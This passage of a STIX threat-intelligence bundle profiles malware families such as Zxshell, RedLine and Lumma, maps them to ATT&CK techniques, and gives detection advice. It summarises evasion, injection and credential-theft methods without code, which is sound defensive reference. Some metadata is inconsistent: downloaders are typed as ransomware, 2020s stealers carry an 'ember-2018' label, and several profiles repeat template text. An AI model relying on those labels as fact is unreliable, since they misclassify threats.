      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zxrloader",
      "description": "TrojanDownloader:Win32/Zxrloader is a specialized trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads. Unlike a backdoor that provides interactive control, Zxrloader acts purely as an automated 'Initial Access Broker' tool. Its primary objective is to silently connect to a Command-and-Control (C2) server and pull down the final, destructive payload (such as ransomware, infostealers, or botnet clients) (`T1105`).<br><br><b>Understanding Zxrloader (Downloaders)</b><br>To an end-user, a Zxrloader infection is entirely invisible. The danger lies in what it brings with it. For an incident response team, the presence of Zxrloader indicates an active breach where the primary damage has likely not yet occurred, but is imminent. Detecting the downloader before it fetches the payload is critical.<br><br><b>Execution and Evasion Strategies</b><br>Zxrloader is commonly distributed via malspam campaigns containing weaponized attachments (like ZIP files or Office macros). Upon execution, it utilizes packing and obfuscation to evade static antivirus signatures (`T1027`). It drops a randomized executable into the `%Temp%` directory. To mask its outbound network traffic, Zxrloader frequently injects its downloading routine into legitimate system processes (like `svchost.exe` or `explorer.exe`) (`T1055`). It then makes HTTP/HTTPS GET requests to hardcoded or DGA-generated domains to fetch the payload.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs include EDR alerts for 'Suspicious Process Injection' or legitimate processes making unexpected outbound network connections. The rapid creation of `.exe` or `.dll` files in the `%Temp%` or `%AppData%` directories by anomalous parent processes is a strong indicator. Network IoCs involve identifying the specific C2 domains or IP addresses Zxrloader contacts to fetch its payloads. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zxrloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zxrloader"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b7d9161-0312-5553-b1dc-c6416986389c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2b4c258-92ed-52ed-9111-eb7b57d6288d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxrloader exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d9719fb-0a9b-51c0-a1b3-a27705d70261",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2b4c258-92ed-52ed-9111-eb7b57d6288d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxrloader exhibits technique T1055 (Process Injection (Injecting into svchost.exe to hide network traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7bf8595-657d-5e46-99f7-c7340341bc40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2b4c258-92ed-52ed-9111-eb7b57d6288d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxrloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65e1f1c8-b8c3-5290-9352-8ad30d67b5e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2b4c258-92ed-52ed-9111-eb7b57d6288d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxrloader exhibits technique T1027 (Obfuscated Files or Information (Packing the downloader to bypass AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bae52a86-9b11-5cc6-bbd1-3dee5ff11a79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zxshell",
      "description": "Backdoor:Win32/Zxshell is a notorious, long-standing Remote Administration Tool (RAT) and backdoor heavily utilized by numerous Chinese state-sponsored Advanced Persistent Threat (APT) groups, including APT3, APT17 (DeputyDog), and others. Because its source code was leaked in the mid-2000s, Zxshell has been continually modified, weaponized, and deployed in high-level cyber espionage campaigns worldwide.<br><br><b>Understanding Zxshell (APT Espionage Tool)</b><br>To an end-user, a Zxshell infection is completely silent. For incident responders and threat hunters, detecting Zxshell is a massive red flag indicating a highly probable, state-sponsored intrusion aiming for long-term network persistence and the exfiltration of sensitive intellectual property or geopolitical intelligence. Its presence often implies the attackers have already bypassed primary defenses and are actively exploring the network.<br><br><b>Execution and Backdoor Mechanics</b><br>Zxshell is typically deployed *after* an initial compromise (via spearphishing, exploiting public-facing applications, or supply chain attacks). It is renowned for its robust feature set. Upon execution, it establishes stealthy persistence, often by installing itself as a hidden Windows Service (`T1543.003`) or via DLL Search Order Hijacking (`T1574.001`). Zxshell provides the attacker with a massive suite of capabilities: a remote command shell (`T1059.003`), full file system manipulation, keylogging (`T1056.001`), screen capture, port forwarding (`T1090`), and the ability to launch targeted DDoS attacks. Modern variants heavily encrypt their C2 communications (`T1573.001`) to evade network detection.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme: the total compromise of the endpoint and the likely exfiltration of critical organizational data. Host-based IoCs include anomalous Windows services with randomized names, unexpected DLLs loaded into legitimate processes (like `svchost.exe`), and the presence of hidden log files (often containing encrypted keystrokes). Network IoCs include encrypted beaconing traffic to C2 infrastructure, often utilizing custom protocols or disguised as legitimate HTTP traffic. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zxshell",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zxshell"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2081207c-fb0c-56b1-b893-f99298de62ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bae52a86-9b11-5cc6-bbd1-3dee5ff11a79",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxshell exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Remote Shell))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28449823-7267-54fe-aa9f-c602b14f9afb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bae52a86-9b11-5cc6-bbd1-3dee5ff11a79",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxshell exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e8ad3a4-02d3-57c5-b5e4-35bc2dfbb2a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bae52a86-9b11-5cc6-bbd1-3dee5ff11a79",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxshell exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e93f0d8-ed5b-5116-b950-d8600fe52679",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bae52a86-9b11-5cc6-bbd1-3dee5ff11a79",
      "target_ref": "attack-pattern--ee167224-c3ac-5c79-bdf1-88c2f727429f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zxshell exhibits technique T1573.001 (Encrypted Channel: Symmetric Cryptography (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99e04afd-8c45-599d-8d61-b6c82cac3de3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zy0Baazvyqni",
      "description": "<h3>Executive Summary</h3>\n\"zy0baazvyqni\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> zy0baazvyqni typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.zy0baazvyqni",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zy0Baazvyqni",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zy0baazvyqni"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59c61018-9b78-5f65-91ae-e8179ca8cdbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e04afd-8c45-599d-8d61-b6c82cac3de3",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zy0Baazvyqni exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0071d670-280c-573d-82c2-a25347eeca84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e04afd-8c45-599d-8d61-b6c82cac3de3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zy0Baazvyqni exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aebed44d-853c-536b-ac41-fc34c04b6e16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e04afd-8c45-599d-8d61-b6c82cac3de3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zy0Baazvyqni exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--438e942e-83f9-5d2a-978c-f881137927ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e04afd-8c45-599d-8d61-b6c82cac3de3",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zy0Baazvyqni exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--212d2a5c-8cd9-5231-8801-5fb8d1db01c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zygug",
      "description": "Trojan:Win32/Zygug is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zygug</b><br>To an end-user, a Zygug infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zygug is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zygug is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zygug frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zygug reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zygug",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zygug"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4983bd7e-5c99-51d5-8fad-bfb54d3b9dc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--212d2a5c-8cd9-5231-8801-5fb8d1db01c1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zygug exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eeee04be-6836-5696-ba91-7e7ed82dda4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--212d2a5c-8cd9-5231-8801-5fb8d1db01c1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zygug exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--743a4514-4121-5ff5-9d30-62251490db9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--212d2a5c-8cd9-5231-8801-5fb8d1db01c1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zygug exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e30d5d0e-d282-5fa2-9664-707192fd0ca6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--212d2a5c-8cd9-5231-8801-5fb8d1db01c1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zygug exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c5c9f2e-1446-5cfb-81bb-1506e1d0b843",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--212d2a5c-8cd9-5231-8801-5fb8d1db01c1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zygug exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73f0f26e-f53a-5742-8918-5ec211197ab2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zylom",
      "description": "Zylom (cataloged across security vendors under designations including Adware:Win32/Zylom, BrowserModifier:Win32/Zylom, and PUA:Win32/Zylom) is a widely distributed adware framework, browser modifier, and deceptive game installer helper active since the mid-2000s. Bundled with casual downloadable desktop games, media utilities, and freeware installers, Zylom installs persistent background updater utilities and browser toolbars without prominent user disclosure. The software hijacks default web browser settings in Internet Explorer, Google Chrome, and Mozilla Firefox, changing default homepages, search engines, and new tab destinations to ad-supported monetization domains. Zylom monitors user browsing habits, capturing search queries and visited URLs to inject contextual banner advertisements, pop-under windows, and sponsored affiliate links into web pages. It establishes autostart persistence via Windows registry Run entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and registers background Windows services to ensure the adware persists across system reboots. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Zylom",
        "BrowserModifier:Win32/Zylom",
        "PUA:Win32/Zylom",
        "Win32/Zylom",
        "Zylom Games Toolbar",
        "Adware.Zylom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zylom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zylom"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3377e61-db80-587c-9563-0543e07ba70f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zzinfor",
      "description": "Trojan:Win32/Zzinfor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zzinfor</b><br>To an end-user, a Zzinfor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zzinfor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zzinfor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zzinfor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zzinfor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zzinfor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zzinfor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8f6a6b0-778c-5da4-9797-78fbeaf2a74b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3377e61-db80-587c-9563-0543e07ba70f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zzinfor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b177c7b2-ff83-53ed-a31e-b440e841a8a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3377e61-db80-587c-9563-0543e07ba70f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zzinfor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25f810ee-dc1b-5ca3-b0d6-e63d0d3ac9d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3377e61-db80-587c-9563-0543e07ba70f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zzinfor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cba8ea7-eddf-52ce-bbd7-340f8d991de7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3377e61-db80-587c-9563-0543e07ba70f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zzinfor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb2bf540-c468-5c8d-a898-66c5bbb01bcf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3377e61-db80-587c-9563-0543e07ba70f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zzinfor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1fddc380-d59b-50c4-aa0f-350a809fe01f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redline",
      "description": "RedLine Stealer (cataloged across threat research as RedLine, RedLineStealer, and Trojan:Win32/RedLine) is the most ubiquitous and commercially successful information stealer of the modern era, first appearing on Russian-language dark web forums in March 2020. Developed in .NET (C#), RedLine is operated under an aggressive Malware-as-a-Service (MaaS) subscription model, offering prospective affiliates standalone builds and access to a centralized management web panel for nominal fees. RedLine is designed to conduct sweeping, automated reconnaissance and theft of sensitive user telemetry across compromised Windows endpoints. Its targeting scope includes stored passwords, autofill form entries, credit card details, and session cookies from all major Chromium-based (Chrome, Edge, Brave, Opera, Vivaldi) and Gecko-based (Firefox) web browsers. Additionally, RedLine harvests session tokens from Discord, Telegram, Steam, and FileZilla, alongside aggressively sweeping for over 40 distinct desktop and browser-extension cryptocurrency wallets (including MetaMask, Phantom, Exodus, Binance, and Atomic Wallet). The malware is distributed through a vast variety of infection vectors, including malvertising campaigns on search engines, fake game cheats and cracked software on YouTube and GitHub, weaponized phishing documents exploiting CVE-2021-40444 and CVE-2023-38831, and initial-access loaders such as SmokeLoader. Network communication utilizes raw TCP sockets or SOAP/HTTP requests with encrypted XML and JSON payloads, frequently disguised as benign web traffic to bypass egress monitoring. RedLine's harvested credential dumps ('logs') form the foundational primary supply for illicit initial-access markets like Genesis Market and Russian Market, routinely enabling subsequent enterprise ransomware intrusions. (Observed samples in benchmark: 120)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "RedLine Stealer",
        "RedLineStealer",
        "Trojan:Win32/RedLine",
        "Win32/RedLine.A",
        "MSIL/RedLine",
        "RedLine.C"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redline",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redline"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA22-074A"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7587c034-3361-5b37-bee5-602fb76e0d54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lumma",
      "description": "Lumma Stealer (also tracked in threat telemetry as LummaC2, LummaStealer, and Trojan:Win32/Lumma) is a premier C-language information stealer that emerged in late 2022 and rapidly rose to become the dominant stealer framework on the cybercrime underground by 2024. Authored natively in C by a threat actor operating under the alias 'Lumma', the malware was explicitly engineered to optimize execution speed, minimize binary overhead, and withstand modern endpoint detection and response (EDR) heuristics. Lumma is sold under a multi-tier Malware-as-a-Service (MaaS) licensing model, offering tiered access ranging from standard binary builds to corporate enterprise licenses featuring advanced polymorphic crypters and proactive domain rotation. Lumma executes deep credential harvesting across Chromium and Gecko browsers, extracting encrypted DPAPI-protected Master Keys to decrypt stored credentials, session cookies, and autofill vaults offline. It aggressively targets over 70 browser cryptocurrency extensions, desktop Web3 wallets, KeePass password databases, VPN profiles, and multi-factor authentication browser tokens. Lumma is heavily distributed via sophisticated ClearFake and fake-update drive-by campaigns, YouTube video description links promoting AI software lures, Discord CDN distribution, and weaponized archive lures exploiting CVE-2023-38831 and Windows SmartScreen defense evasion flaw CVE-2024-21412. Its C2 infrastructure incorporates high-resilience control protocols: the binary employs multi-layered XOR and AES-string decryption, anti-virtual-machine checks utilizing CPUID and instruction timing, and dynamic C2 communication featuring decoy HTTP POST requests sent to legitimate web services alongside genuine command servers to obstruct network perimeter triage. (Observed samples in benchmark: 85)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
